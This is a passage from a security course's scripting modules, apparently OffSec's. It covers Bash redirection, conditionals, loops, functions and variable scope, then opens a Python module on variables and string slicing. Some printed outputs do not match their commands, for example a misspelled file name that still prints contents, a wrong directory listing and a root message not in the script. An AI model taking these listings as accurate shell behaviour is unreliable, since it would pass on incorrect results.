Listing 36 - Echoing redirected input
This script reads the first line from heidi.txt and displays
it, then reads the second line and displays it. We may want to read
the whole file and we'll do that later in the Topic when we look at
looping.
We can also save the output from a command in a file using output
redirect. First, let's introduce another bash command that can be
useful from time to time called touch. This does one of two things.
If the filename we give it doesn't exist, it will create it. If it
does exist, then it will update the file date/time. It's often used to
create an empty file that we'll either subsequently write to or just
as a flag that an action has taken place.
We can use echo to write a line into a file by using output redirect.
The following command writes out the first line of Shakespeare's
Sonnet no. 18 to a file sonnet.txt.
kali@kali:~$ echo "Shall I compare thee to a summer's day?" > sonnet.txt
kali@kali:~$ cat sonnext.txt
Shall I compare thee to a summer's day?
Listing 37 - Redirecting echo output
Let's try that again and put in the second line of the sonnet.
kali@kali:~$ echo "Shall I compare thee to a summer's day?" > sonnet.txt
kali@kali:~$ echo "Thou art more lovely and more temperate:" > sonnet.txt
kali@kali:~$ cat sonnext.txt
Thou art more lovely and more temperate:
Listing 38 - Redirecting two echo output lines
Now we have a problem. The redirect overwrites our first line with the
second and we have just the second line in the file. This is where the
double output redirect operator >> comes in; it appends the output
to the file, rather than overwriting it.
Let's delete the sonnet file and start again. We can use the remove
command rm to delete the file. We can then touch the file to create
an empty sonnet.txt and then use the append version of output
redirect to echo into it.
kali@kali:~$ rm sonnet.txt
kali@kali:~$ touch sonnet.txt
kali@kali:~$ echo "Shall I compare thee to a summer's day?" >> sonnet.txt
kali@kali:~$ echo "Thou art more lovely and more temperate:" >> sonnet.txt
kali@kali:~$ cat sonnext.txt
Shall I compare thee to a summer's day?
Thou art more lovely and more temperate:
Listing 39 - Using redirection to append to a file
We'll often want to issue file commands in our scripts, so it's worth
briefly touching upon how we do this. We have covered a lot already.
We've already used the ls command to list files in our folder, and
we've displayed files with the cat command. We've used redirection to
read a file into our scripts, and we've used redirection to save text
in a file. We've seen how to create an empty file with touch and how
to remove files with rm.
We've used the head command to list the first few lines of a file.
There's a similar command called tail which displays the last few
lines of a file.
We've talked about folders, and on Linux, we're working in an
environment that has a standard set of system folders. The start point
is the root folder, which is referred to as just /. Within
this, we'll find system folders such as /etc, /var,
/home, and so on.
Mostly we'll be working in our home folder, which with the user kali
is /home/kali. We have a shorthand way of referring to this,
which is ~.
There are a few other Bash commands which are useful for managing
files. One that we'll use to manage our scripts is the cp
command.
kali@kali:~$ cp heidi.txt heidi.bak
Listing 40 - Copying files
This creates a new file called heidi.bak and copies the
contents of heidi.txt to it. We can make new folders if
we wish, using the mkdir command, and copy the file to the
folder using folder prefixes. Similarly, we can list files in a folder
by using the folder name.
kali@kali:~$ mkdir poems
kali@kali:~$ cp heidi.txt poems/heidi.txt
kali@kali:~$ ls ~/poems
heidi.bak
Listing 41 - Copying files into a new folder
This example demonstrates the use of the tilde as a shorthand for the
home folder. However, as we were in our home folder, we could just
have used the command ls poems.
We move between folders using the cd command. We can use
folder names relative to where we are, or we can use full folder names
starting at the root.
kali@kali:~$ cd poems
kali@kali:~/poem$ ls
heidi.bak
kali@kali:~/poem$ cd /home/kali
kali@kali:~$
Listing 42 - Moving between folders
When we're dealing with subfolders, we need to use a special switch
if we want to delete them. This -r switch means recursive and
it will remove the directory and any contents it has. Let's take an
example of a folder called oldfiles that we want to get rid
of.
kali@kali:~$ rm oldfiles
rm: oldfiles: is a directory
kali@kali:~$ rm -r oldfiles
Listing 43 - Deleting folders
Conditional Statements
This Learning Unit covers the following Learning Objectives:
- Write an If statement
- Write an Else statement
- Write an Elif statement
This Learning Unit will take approximately 60 minutes to complete.
To create some flexibility in our script, we can use conditional
statements. Conditional statements allow us to perform different
actions based on different conditions. The most common conditional
Bash statements include if, else, and elif.
The if statement is relatively simple; it checks to see if a condition
is true but it requires a very specific syntax. Pay careful attention
to this syntax, especially the use of required spaces. The syntax is
fairly straightforward. To begin the block, we start with an if, and
then a test inside a pair of square brackets. This tells the script
what we want to evaluate. If "some test" evaluates as true, the script
will move to the then section and "perform an action". This if
statement is then closed with a fi.
if [ <some test> ]
then
...perform an action...
fi
Listing 44 - General syntax for the if statement
Now that we understand the syntax, let's look at an actual example
that asks the user to type in their age. If the user enters an age
that is less than (-lt) 18, the script would output a warning
message.
kali@kali:~$ cat ./if.sh
#!/bin/bash
# if statement example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
fi
kali@kali:~$ ./if.sh
What is your age: 17
You might need parental permission to take this course!
Listing 45 - Using the if statement in Bash
We can repeat this script many times and, as long as the age is under
18, it will always get the warning message.
The square brackets ("[" and "]") in the if statement above is a
reference to the test command. This simply means we can use
all the operators[121] that are allowed by the test
command. We won't go into great detail, but it is important to
understand the difference between "arithmetic" and "comparison"
operators.
Let's examine them in the following code block.
x = 4
y == 4
Listing 46 - Arithmetic vs Comparison
In this example, while they seem similar, they are very different.
In the first example x = 4, we are saying that for the variable x,
we want the value 4. In the second example, y == 4 we are making a
comparison, "Is the value in the variable y equal to the value 4.
Below is a short table of some common test command operators.
| Operator | Description: Expression True if... |
|---|---|
| !EXPRESSION | The EXPRESSION is false. |
| -n STRING | STRING length is greater than zero |
| -z STRING | The length of STRING is zero (empty) |
| STRING1 != STRING2 | STRING1 is not equal to STRING2 |
| STRING1 = STRING2 | STRING1 is equal to STRING2 |
| INTEGER1 -eq INTEGER2 | INTEGER1 is equal to INTEGER2 |
| INTEGER1 -ne INTEGER2 | INTEGER1 is not equal to INTEGER2 |
| INTEGER1 -gt INTEGER2 | INTEGER1 is greater than INTEGER2 |
| INTEGER1 -lt INTEGER2 | INTEGER1 is less than INTEGER2 |
| INTEGER1 -ge INTEGER2 | INTEGER1 is greater than or equal to INTEGER 2 |
| INTEGER1 -le INTEGER2 | INTEGER1 is less than or equal to INTEGER 2 |
| -d FILE | FILE exists and is a directory |
| -e FILE | FILE exists |
| -r FILE | FILE exists and has read permission |
| -s FILE | FILE exists and it is not empty |
| -w FILE | FILE exists and has write permission |
| -x FILE | FILE exists and has execute permission |
Table 2 - Common test command operators
With the above in mind, our previous example using if can be
rewritten without square brackets as follows:
kali@kali:~$ cat if2.sh
#!/bin/bash
# if statement example 2
read -p "What is your age: " age
if test $age -lt 16
then
echo "You might need parental permission to take this course!"
fi
kali@kali:~$ ./if2.sh
What is your age: 15
You might need parental permission to take this course!
Listing 47 - Using the test command in an if
statement
Even though this example is functionally equivalent to the example
using square brackets, using square brackets makes the code slightly
easier to read.
We can also perform a certain set of actions if a statement is true
and another set if it is false. To do this, we can use the else
statement, which has the following syntax:
if [ <some test> ]
then
<perform action>
else
<perform another action>
fi
Listing 48 - General syntax for the else statement
Let's extend our previous "age" example to include the else
statement. Here we will print out a welcome message if the user is 18
or older.
kali@kali:~$ cat ./else.sh
#!/bin/bash
# else statement example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
else
echo "Welcome to the course!"
fi
kali@kali:~$ ./else.sh
What is your age: 21
Welcome to the course!
Listing 49 - Using the else statement in Bash
Notice that the else statement was executed when the entered age was
greater than (or more specifically "not less than") eighteen.
Let's take another example. We can use the if statement in
conjunction with the special variable $UID to determine whether the
script is being run with root privileges.
kali@kali:~$ cat checker.sh
#!/bin/bash
if [ $UID == 0 ]
then
echo "We have root privileges"
else
echo "We are running in usermode $UID"
fi
kali@kali:~$ ./checker.sh
We are running in usermode 501
kali@kali:~$ sudo ./checker.sh
We are running as root
Listing 50 - Checking for root
Here we've used the == operator, which is equivalent to the -eq
operator. Checking $UID can be quite useful in scripts where we may
want to present different options to root users.
The if and else statements only allow two code execution branches
based on a single test. We can add additional tests and branches with
the elif statement which uses the following pattern:
if [ <some test> ]
then
<perform action>
elif [ <some test> ]
then
<perform different action>
else
<perform yet another different action>
fi
Listing 51 - The elif syntax in Bash
Let's extend our "age" example to include the elif statement:
kali@kali:~$ cat ./elif.sh
#!/bin/bash
# elif example
read -p "What is your age: " age
if [ $age -lt 18 ]
then
echo "You might need parental permission to take this course!"
elif [ $age -gt 60 ]
then
echo "Hats off to you, respect!"
else
echo "Welcome to the course!"
fi
kali@kali:~$ ./elif.sh
What is your age: 65
Hats off to you, respect!
Listing 52 - Using the elif statement in Bash
In this example, the code execution flow was slightly more complex.
In order of operation, the then branch did not execute because the
entered age was not less than eighteen. Instead, the elif branch was
entered and another test was performed. This time the test succeeded
(and the "Hats off.." message was displayed) because the age was
greater than sixty.
Boolean Operations
This Learning Unit covers the following Learning Objectives:
- Understand the AND Boolean operator
- Understand the OR Boolean operator
This Learning Unit will take approximately 20 minutes to complete.
We've looked at strings and numerics, but there's another class
of values we should consider Boolean. These variables take
the values true and false, and we can use Boolean logical
operators,[122] like AND (&&) and OR (||) to
manipulate them. These are somewhat mysterious because Bash uses them
in a variety of ways.
We've learned about tests used in if and elif statements that
return a Boolean value of true or false. Another common use is in
command lists, which are chains of commands whose flow is controlled
by operators. The pipe | symbol is a commonly-used operator
in a command list and passes the output of one command to the input of
another. Similarly, Boolean logical operators execute commands based
on whether a previous command succeeded (or returned True or "0") or
failed (returned False or non-zero).
Let's review the AND (&&) Boolean operator first, which executes a
command only if the previous command succeeds (or returns true or
its numerical representation of "0"):
kali@kali:~$ user2=kali
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
kali:x:1000:1000:,,,:/home/kali:/bin/bash
kali found!
kali@kali:~$ user2=bob
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found!"
kali@kali:~$
Listing 53 - Using the AND (&&) Boolean operator in a
command list
In this example, we first assigned the username we are searching for
to the user2 variable. Next, we use the grep command to
check if a certain user is listed in the /etc/passwd file,
and if it is, grep returns true and the echo
command is executed. However, when we try searching for a user that we
know does not exist in /etc/passwd, our echo command
is not executed.
When used in a command list, the OR (||) operator is the opposite of
AND (&&); it executes the next command only if the previous command
failed (returned False or non-zero).
kali@kali:~$ echo $user2
bob
kali@kali:~$ grep $user2 /etc/passwd && echo "$user2 found\!" || echo "$user2 not found\!"
bob not found!
Listing 54 - Using the OR (||) Boolean operator in a
command list
In the above example, we took our previous command a step further
and added the OR (||) operator followed by a second echo
command. Now, when grep does not find a matching line and
returns False, the second echo command after the OR (||)
operator is executed instead.
These operators can also be used in a test to compare variables or
the results of other tests. When used this way, AND (&&) combines
two simple conditions, and if they are both true, the combined
result is a success (or True or 0).
Consider the following example.
kali@kali:~$ cat and.sh
#/bin/bash
# and example
if [ $USER == 'kali' ] && [ $HOSTNAME == 'kali' ]
then
echo "Multiple statements are true!"
else
echo "Not much to see here..."
fi
kali@kali:~$ ./and.sh
Multiple statements are true!
kali@kali:~$ echo $USER && echo $HOSTNAME
kali
kali
Listing 55 - Using the and (&&) Boolean operator
to test multiple conditions in Bash
In this example, we used AND (&&) to test multiple conditions
and since both variable comparisons were true, the whole if line
succeeded, so the then branch executed.
When used in a test, the OR (||) Boolean operator is used to test
one or more conditions, but only one of them has to be true to count
as success.
Let's consider an example.
kali@kali:~$ cat or.sh
#!/bin/bash
# or example
if [ $USER == 'kali' ] || [ $HOSTNAME == 'pwn' ]
then
echo "One condition is true, this line is printed"
else
echo "You are out of luck!"
fi
kali@kali:~$ ./or.sh
One condition is true, this line is printed
kali@kali:~$ echo $USER && echo $HOSTNAME
kali
kali
Listing 56 - Using the or (||) Boolean operator to
test multiple conditions in Bash
In this example, we used OR (||) to test multiple conditions and
since one of the variable comparisons was true, the whole if line
succeeded, so the then branch executed.
Looping in Scripts
This Learning Unit covers the following Learning Objectives:
- Build a For loop
- Build While loops
- Write a program to loop through files
This Learning Unit will take approximately 45 minutes to complete.
In computer programming, loops[123] help us with repetitive
tasks. These tasks will continue until a certain criterion is met
(unless we make a mistake and create an infinite loop).[124]
The use of iteration is particularly useful so we recommend paying
very close attention to this section.
For loops are very practical and work very well in Bash
one-liners.[127] This type of loop is used to perform a given
set of commands for each of the items in a list.
The for loop will take each item in the list (in order), assign
that item as the value of the variable var-name, perform the given
action between do and done, and then go back to the top, grab the
next item in the list, and repeat the steps until the all list items
are exhausted. Let's examine the syntax:
for var-name in <list>
do
<action to perform>
done
Listing 57 - General syntax of the for loop
Let's review a practical example that will quickly print
the first 10 IP addresses in the 10.11.1.0/24 subnet.[128]
We can write this two different ways. First, we will examine the code
as a code block, and then we will convert it to a Bash one-liner.
for ip in $(seq 1 10)
do
echo 10.11.1.$ip
done
Listing 58 - An example using for loops in Bash
When this for loop starts, the value of ip is 1. When it runs the
echo the first time it prints out the first three octets (10.11.1.)
and then the value of the ip variable. Then the loop reaches the
done command and returns to the top. Here the value ip is increased
and the process is re-run until ip equals 10. At that point, the
loop is exited.
We can rewrite this script on a single line by using semicolons to
separate the commands.
kali@kali:~$ for ip in $(seq 1 10); do echo 10.11.1.$ip; done
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 59 - An example using for loops in Bash as a one-liner
We can also write the previous for loop with brace
expansion[129] using ranges.[130] In this case the syntax
is slightly different. Here we only need to enter the first and last
values of the range which can be a sequence of numbers or characters.
This is known as a sequence expression:
kali@kali:~$ for ip in {1..10}; do echo 10.11.1.$ip;done
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 60 - Brace expansion using ranges in Bash
This form of loop based on an IP address is often used when
testing networks. We can take these IP addresses and run a port
scan[131] using nmap.[132] We can also attempt to use
the ping command to see if any of the IP addresses respond to
ICMP echo requests.[133]
While loops are also fairly common and execute code while an
expression is true. While loops continue while whatever test we
provide is true. These loops have a simple format that is very similar
to the if statement; use the square brackets ([]) for the test:
while [ <some test> ]
do
<perform an action>
done
Listing 61 - General syntax of the while loop
Keep in mind that if the test is never TRUE, the loop won't start,
but also, if the loop never switches to FALSE, it will never stop.
This is called an infinite loop.
Let's re-create the previous example with a while loop:
kali@kali:~$ cat ./while.sh
#!/bin/bash
# while loop example
counter=1
while [ $counter -lt 10 ]
do
echo "10.11.1.$counter"
((counter++))
done
kali@kali:~$ ./while.sh
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
Listing 62 - Using a while loop in Bash
This output is probably not what was expected. This is called an "off
by one"[134] error and is very common. The reason is that we
used -lt (less than) instead of -le (less than or equal to).
Our counter only got to nine, not ten as originally intended. We can
change this by either using -le 10 or by increasing our code
to:-lt 11.
We've used a mathematical expression ((counter++)) to increment the
value of the counter by one. This is how we make sure we do eventually
terminate the loop.
Let's re-write the while loop using what we learned and try the
example again, this time using le rather than lt.:
kali@kali:~$ cat while2.sh
#!/bin/bash
# while loop example 2
counter=1
while [ $counter -le 10 ]
do
echo "10.11.1.$counter"
((counter++))
done
kali@kali:~$ ./while2.sh
10.11.1.1
10.11.1.2
10.11.1.3
10.11.1.4
10.11.1.5
10.11.1.6
10.11.1.7
10.11.1.8
10.11.1.9
10.11.1.10
Listing 63 - An example using a while loop in Bash
Good. Our while loop is looking much better now.
We've already used redirection to take a file as input to our script,
and now we know how to write a loop. We can upgrade this script to
read and display the whole file. To do this, we set the file name in
a variable and redirect this into the done command, as demonstrated
below.
kali@kali:~$ cat input5.sh
#!/bin/bash
file="poem.txt"
while read line
do
echo $line
done < $file
kali@kali:~$ ./input5.sh
The secrets of wealth and the love of the muse,
But gladness is predictable by universal laws;
Awe! Awe! Awareness in life without autocracy! !
For my name is Heidi.
Listing 64 - Echoing line by line
We've set the variable file to the name of our poem file, which is in
the current folder. We're using the read command within the while
command to get a line of text, and read will return false when there
are no more data. The done statement is written to take input from
our file rather than the standard input.
Functions for Clarity
This Learning Unit covers the following Learning Objectives:
- Understand function format
- Understand functions with arguments
- Create a usage function
- Understand variable scope
This Learning Unit will take approximately 60 minutes to complete.
In terms of Bash scripting, we can think of a function as a script
within a script. This becomes very useful when we need to execute the
same code multiple times in a script. Rather than re-writing it, we
write it once as a function and then call that function as needed.
Functions may be written in two different formats.
The first way we can write a function is more common to Bash scripts:
function function_name {
commands...
}
Listing 65 - One way of writing a function in Bash
The function command defines the function and gives it a name. The
code to be executed is then coded within the curly brackets.
The second format is more familiar to C programmers and is coded
without the keyword function. Instead, brackets are used after the
function name:
function_name () {
commands...
}
Listing 66 - Another way of writing a function in
Bash
The formats are functionally identical and are a matter of personal
preference.
Let's examine an example function. When the program runs it registers
the function and then skips over the bracketed code. It then
encounters the line containing print_me and recognizes it as a
function. The program finds the function definition and runs it.
kali@kali:~$ cat func.sh
#!/bin/bash
# function example
print_me () {
echo "You have been printed!"
}
print_me
kali@kali:~$ ./func.sh
You have been printed!
Listing 67 - Using a Bash function to print a message
to the screen
Perfect! We see that our script ran,called the function, and echoed
the results to the terminal.
Similar to the regular script, functions can also accept arguments.
We can either ask the user for the argument value or, in the example
below, we use the $RANDOM function to generate a random number.
kali@kali:~$ cat funcarg.sh
#!/bin/bash
# passing arguments to functions
pass_arg() {
echo "Today's random number is: $1"
}
pass_arg $RANDOM
kali@kali:~$ ./funcarg.sh
Today's random number is: 25207
Listing 68 - Passing an argument to a function in Bash
We passed a random number that was provided by the special variable
$RANDOM into the function. The function outputs it as $1, the
first argument provided on the function call. Note that the function
definition (pass_arg()) contains parentheses. In other
programming languages, such as C, these would contain the expected
arguments, but in Bash, the parentheses serve only as decoration. They
are never used. Also, note that the function definition (the function
itself) must appear in the script before it is called. Logically, we
can't call something we have not defined.
Use a descriptive function name that describes the function's
purpose.
In addition to passing arguments to Bash functions, we can of course
return values from Bash functions as well. Bash functions don't allow
you to return an arbitrary value in the traditional sense. Instead,
a Bash function can return an exit status (zero for success,
non-zero for failure) or some other arbitrary value that we can access
using the $? global variable. Alternatively, we can set a global
variable inside the function or use command substitution to simulate a
traditional return.
Let's examine a simple example that returns a random number into $?:
kali@kali:~$ cat funcrvalue.sh
#!/bin/bash
# function return value example
return_me() {
echo "Oh hello there, I'm returning a random value!"
return $RANDOM
}
return_me
echo "The previous function returned a value of $?"
kali@kali:~$ chmod +x ./funcrvalue.sh
kali@kali:~$ ./funcrvalue.sh
Oh hello there, I'm returning a random value!
The previous function returned a value of 198
kali@kali:~$ ./funcrvalue.sh
Oh hello there, I'm returning a random value!
The previous function returned a value of 313
Listing 69 - Returning a value from a function in
Bash
Notice that a random number is returned every time we run the script.
This is because we returned the special global variable $RANDOM
(into $?). If we used the return statement without the $RANDOM
argument, the exit status of the function, 0 in this case, would be
returned.
When we produce a script for other people to use, we'll want to
provide the usage instructions either when the script is executed
with no arguments, or when it's executed with a help argument.
When we want to produce the usage text, we can do it with a series
of echo statements, or we can use a special form of cat for
this.[135] We'll likely want to do this as a function. The
following example demonstrates this.
kali@kali:~$ cat usage.sh
#!/bin/bash
display_usage() {
cat << EOF
usage: ./usage.sh name
This script will check whether the named account exists.
It will also check whether a home folder exists for the account.
EOF
}
if [[ $# != 1 ]]
then
display_usage
else
grep -q $1 /etc/passwd && echo "$1 found in /etc/passwd"
if [ -d "/home/$1" ]
then
echo "The folder /home/$1 exists"
fi
fi
kali@kali:~$ ./usage.sh
usage: ./usage.sh name
This script will check whether the named account exists.
It will also check whether a home folder exists for the account.
kali@kali:~: ./usage.sh kali
kali found in /etc/passwd
The folder /home/kali exists
Listing 70 - Building a usage Function
There are a few new things to think about in this script. The use of
the double redirect into cat with a string value means to display the
following text up until, but not including, the string value. This
avoids issuing lots of echo commands!
The first check is to make sure we have one, and only one, argument.
If not, then we call the display_usage function to display a
usage message. Otherwise, we continue the script to check whether
the argument is an account in /etc/passwd, using the grep
approach we used previously. In this case, we've added the -q option
to suppress the output from grep. We then do another check using the
special -d form of test to check the existence of a folder.
The -d check is just one of several special checks related to
files and folders.[136]
Now that we have a basic understanding of variables and functions, we
can dig deeper and discuss variable scope.[137]
The scope of a variable is simply the context in which it has meaning.
By default, a variable has a global scope, meaning it can be
accessed throughout the entire script. In contrast, a local variable
can only be seen within the function, block of code, or subshell in
which it is defined. We can "overlay" a global variable, giving it a
local context by preceding the declaration with the local keyword,
leaving the global variable untouched. The general syntax is:
local name="Joe"
Listing 71 - Declaring a local variable
Let's see how local and global variables work in practice with
a simple example. First, we begin with creating two variables:
name1 and name2. Then we echo those values. Next, we enter our
name_change function. Here we create a local variable with the name
name1. We echo out the results and then change the value of name2.
Finally, we print the two variables: name1 and name2 again.
kali@kali:~$ cat varscope.sh
#!/bin/bash
# var scope example
name1="John"
name2="Jason"
name_change() {
local name1="Edward"
echo "Inside of this function, name1 is $name1 and name2 is $name2"
name2="Lucas"
}
echo "Before the function call, name1 is $name1 and name2 is $name2"
name_change
echo "After the function call, name1 is $name1 and name2 is $name2"
Listing 72 - Illustrating variable scope in Bash
When we run this script we can see that the local variable name1,
with the value "Edward", is printed out when inside the function, and
not when printing outside the function. This shows that the value of
name1 was not changed. Meanwhile, the value of name2 was changed
inside the function, but without the local keyword.
kali@kali:~$ ./varscope.sh
Before the function call, name1 is John and name2 is Jason
Inside of this function, name1 is Edward and name2 is Jason
After the function call, name1 is John and name2 is Lucas
Listing 73 - Running variable scope in Bash
Let's highlight a few key points within Listing 73.
First note that we declared two global variables, setting name1 to
John and name2 to Jason.
Then, we defined a function, and inside that function, we declared a
local variable called name1, setting the value to Edward. Since
this was a local variable, the previous global assignment was not
affected; name1 will still be set to John outside this function.
Next, we set name2 to Lucas, and since we did not use the local
keyword, we are changing the global variable, and the assignment
sticks both inside and outside of the function.
Based on this example, the following two points summarize variable
scope:
- Changing the value of a local variable with the same name as a
global one will not affect its global value. - Changing the value of a global variable inside of a function --
without having declared a local variable with the same name -- will
affect its global value.
In the following code block, there are three syntactical errors.
Answer Questions 1-3 using the following code block.
1: #/bin/bash
2: # function return value example
3:
4: return_user[] {
5: echo $(whoami)
6: }
7:
8: Return_User
Python Scripting Basics
In this Module, we will cover the following Learning Units:
- Variables, Slicing, and Type Casting
- Lists and Dictionaries
- Loops, Logic, and User Input
- Files and Functions
- Modules and Web Requests
- Python Network Sockets
- Putting It All Together to Create a Web Spider
Each learner moves at their own pace, but this Module should take
approximately 15.5 hours to complete.
Scripting[138] is an efficient way to perform or
automate repetitive tasks. We can also use it to complete tasks on
a large scale. For example, in an enterprise network, we might need
to complete the same tasks on hundreds of hosts. Doing this manually
would be a frustratingly tedious waste of time, but with scripting, we
can accomplish this quickly and easily.
The basic blocks of scripts are conditional statements[139]
and loops.[140] Generally speaking, we'll use these two
items to create a script that processes input until something has been
found or until there is no input left.
Scripts are text files processed by an interpreter. If there is an
issue in a script, it can be easily fixed by modifying the file.
Python[141] is a platform-independent language because the
interpreter can be installed on both *nix-type and Windows operating
systems.
Because we can directly edit script files, we don't need a development
environment to compile the source code and create a machine code
binary file. Practically speaking, this means that scripts are
relatively easy to create and excellent for automating repetitive
tasks such as bulk adding users to the system, backing up important
files, creating remote backups, or tracking possible malicious
activities within log files.
In this Module, we'll review the basics of scripting using the Python
language.
Variables, Slicing, and Type Casting
This Learning Unit covers the following Learning Objectives:
- Find the Python version
- Understand and set a shebang line
- Write our first Python script
- Understand basic variable types
- Understand how to use different variable types
- Slice strings
- Understand and work with integer variables
- Understand float variables
- Understand Boolean variables
- Understand type casting
- Set variables to different data types using type casting
This Learning Unit will take approximately 180 minutes to complete.
To begin, we'll cover some basic items with scripting languages.
This will start with how we can tell the system to execute our script
and print output to the terminal. Let's dive right in and build our
knowledge through each section.
Before working with our Python exercises, let's examine how to
determine our installed version. To do this, let's execute python
-V in the terminal.
kali@kali:~$ python -V
Python 3.9.10
Listing 1 - The currently installed version of Python is displayed
We can confirm that we currently have Python 3.9.10 installed and
working on our Kali machine. This is important to know since the
syntax between versions can affect how our scripts run.
Now that we know our version number, let's write our first Python
script.
Python is a popular and high-level programming language used by
scientists and security professionals alike.
We'll begin our introduction to Python with a few simple examples and
then progress to more complex and interesting scripts. We can't cover
everything here, but the popularity of Python means there are many
support options available if we run into issues.
Like Bash scripting, we can tell the system to interpret the script
as a Python script with the shebang[116-1] and python path
(#!/usr/bin/python). This way, we can save the file and set the
executable flag with chmod, and execute it with ./fileName.py.
Additionally, we can run a Python script using the python command,
which doesn't require the shebang line or the executable flag.
Let's review a simple "Hello World" script.
kali@kali:~$ cat pythonsample.py
#!/usr/bin/python
print("Scripting is fun!")
Listing 2 - Simple Python script
The script has two lines. The first line tells the OS that the script
should be interpreted with Python. When the file is executed, a loader
reads the file and the shebang tells the loader which interpreter to
use by providing an absolute path to the interpreter.
The second line is a print() function that outputs the string "Hello
World" to the terminal when we execute it.
Let's make pythonsample.py executable with chmod.
kali@kali:~$ chmod +x pythonsample.py
Listing 3 - The script is now executable
Now that the script is executable, let's execute it from the terminal.
Because it is set as executable, we can run it without using the
python command.
kali@kali:~$ ./pythonsample.py
Scripting is fun!
Listing 4 - The script is executed and the output is displayed to the terminal
The script was able to execute and displayed "Scripting is fun!" to
the terminal.
Another variation is to run the script with the python
command before the script.
kali@kali:~$ python pythonsample.py
Scripting is fun!
Listing 5 - The script executed with the python command
Running it this way, the shebang line is not needed. Although, it is a
good practice to have it in the script file.
Let's practice what we learned in the following exercises:
Before we cover the types of variables we may encounter in Python,
let's examine how we can set variables. We will use the print()
function to display the value of the variables in the terminal.
To set a variable in our Python script, we will enter a variable name
followed by an equal (=) sign and the value of the variable we want to
set.
kali@kali:~$ cat variables.py
#!/usr/bin/python
companyName = "OffSec"
currentYear = 2023
print(companyName)
print(currentYear)
Listing 6 - Two variables are set in our script
We have two variables set in our script, followed by the print()
functions to display them to the terminal. The first variable is
called companyName and has the value of "OffSec". The
next variable is called currentYear and has the value of "2022".
kali@kali:~$ ./variables.py
OffSec
2023
Listing 7 - The variable values are displayed in the terminal
As expected, the print() functions printed the values of the
variables to the terminal.
Now that we covered setting variables, let's practice what we've
learned with the following exercises.
Python is quite forgiving when it comes to data types, especially when
compared to lower-level programming languages. Python variables can
be converted from one data type to another in a process we call type
casting,[142] which we cover later. Having mentioned
this, it is still important to have a basic understanding of the
different data types when scripting with Python.
We can set a variable to a value by using the equal sign (=). If we
set a variable and use quotes around the value, this can affect how
Python treats it. We will go over this in more detail shortly.
The print() function can be used to output information to the
command-line similar to Bash's echo command. The syntax for Python 3
is as follows.
myString = "Hello World"
print(myString)
# or
print("Hello World")
Listing 8 - The Python print() function
During debugging, we may want to check a variable's type. We can do
this with the built in type() function. We'll pass the variable
into type() and output the type of data structure assigned to that
variable.
kali@kali:~$ cat typeexample.py
#!/usr/bin/python
a = "banana"
print(a)
print(type(a))
b = 1337
print(b)
print(type(b))
kali@kali:~$ python typeexample.py
banana
<class 'str' >
1337
<class 'int' >
Listing 9 - Python data types
In this example, we created two variables, a and b. Our script
prints the value of the variable and then its data type. Variable
a is a string with the value of "banana" and variable b is an
integer with the value of "1337".
Let's practice what we learned with the following exercises.
Many people new to Python may be familiar with strings[143]
in other programming languages. These data types hold one or more
letters, numbers, or symbols, and are typically set by using quotes.
Let's review two string examples:
myString = "Hello World"
anotherString = "ABC123!@#"
Listing 10 - String examples
In the code block above, we created two variables and assigned them
different values.
A string can be converted to a data type called a list (we
will cover this later). Lists and strings can be manipulated and
sliced[144] using a few different methods. Slicing in Python
is when we cut a string or list into sections. This is done to cut out
just the parts of a string that we are interested in.
Let's say we are writing a Python script to scrape a website for
any links to other pages. This is a very useful technique for a
penetration tester hoping to gain more information about a target.
Within the HTML code for the page we are scraping, each HTML anchor
tag will appear something like this.
<a href="https://www.offsec.com/blog">Blog</a>
Listing 11 - An HTML anchor tag
To be able to work with this in our script, we'll want only the URL
portion of the tag (https://www.offsec.com/blog), so we'll
use string slicing to pull the URL out.
As a side note, because this string contains quotation marks ("), we
will run into problems if we use the same syntax as we did earlier.
Instead, we'll use single quotes (') around the string. Content
between single quotes will not be interpreted.
Once we've created our variable, we can trim the ends of the string.
To do this, we need to find the index of where the URL starts and the
index of where it ends.
There are ways to find these automatically, but for this example,
we'll just count. We need to count each character up to our URL with
the first character being 0. The letter "h" in "https" is at index 9
so that's our starting point. If we keep counting to the end of the
URL, we find that the letter "g" in "Blog" at the end of the URL is at
index 47. Therefore, we want to slice the string from index 9 through
index 48 (index 47 + 1), inclusively.
With the index of the start and end of our URL, we can slice it out
of the full string and store it into a variable named url using the
following syntax.
kali@kali:~$ cat tagslice.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
url = tag[9:48]
print(url)
kali@kali:~$ python tagslice.py
https://www.offsec.com/blog
Listing 12 - Slicing the HTML anchor tag
We can also slice out the URL from the full HTML anchor tag by
using the index() function. First, we figure out what is always at
the start of the string we want to slice out. In this case, it would
be "https". Then, we need what will come after the string we want to
slice out. In this case, it's the end double-quote of the URL and a
greater-than symbol. Let's set these as individual string variables.
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
Listing 13 - Setting the start and end variables
Note that part of our second variable, end, includes a quotation
mark. This could present a problem, but we're working around it by
escaping[145] it using a backslash (\) character, which
allows us to use the quotation marks that follow without invoking
their special meaning.
We can use the start and end strings to get the index values of
where those are located in a complete anchor tag. To do this, we will
add .index() to the variable tag, and inside the index function,
we will add the variables. Let's print those values.
kali@kali:~$ cat tagslice2.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
print(tag.index(start))
print(tag.index(end))
kali@kali:~$ python tagslice2.py
9
48
Listing 14 - Running our slicing script
These numbers are similar to the values we got by counting before.
Let's remove the print() functions and slice tag using the index
of the start and end strings.
kali@kali:~$ cat tagslice3.py
#!/usr/bin/python
tag = '<a href="https://www.offsec.com/blog">Blog</a>'
start = "http"
end = "\">"
url = tag[tag.index(start):tag.index(end)]
print(url)
kali@kali:~$ python tagslice3.py
https://www.offsec.com/blog
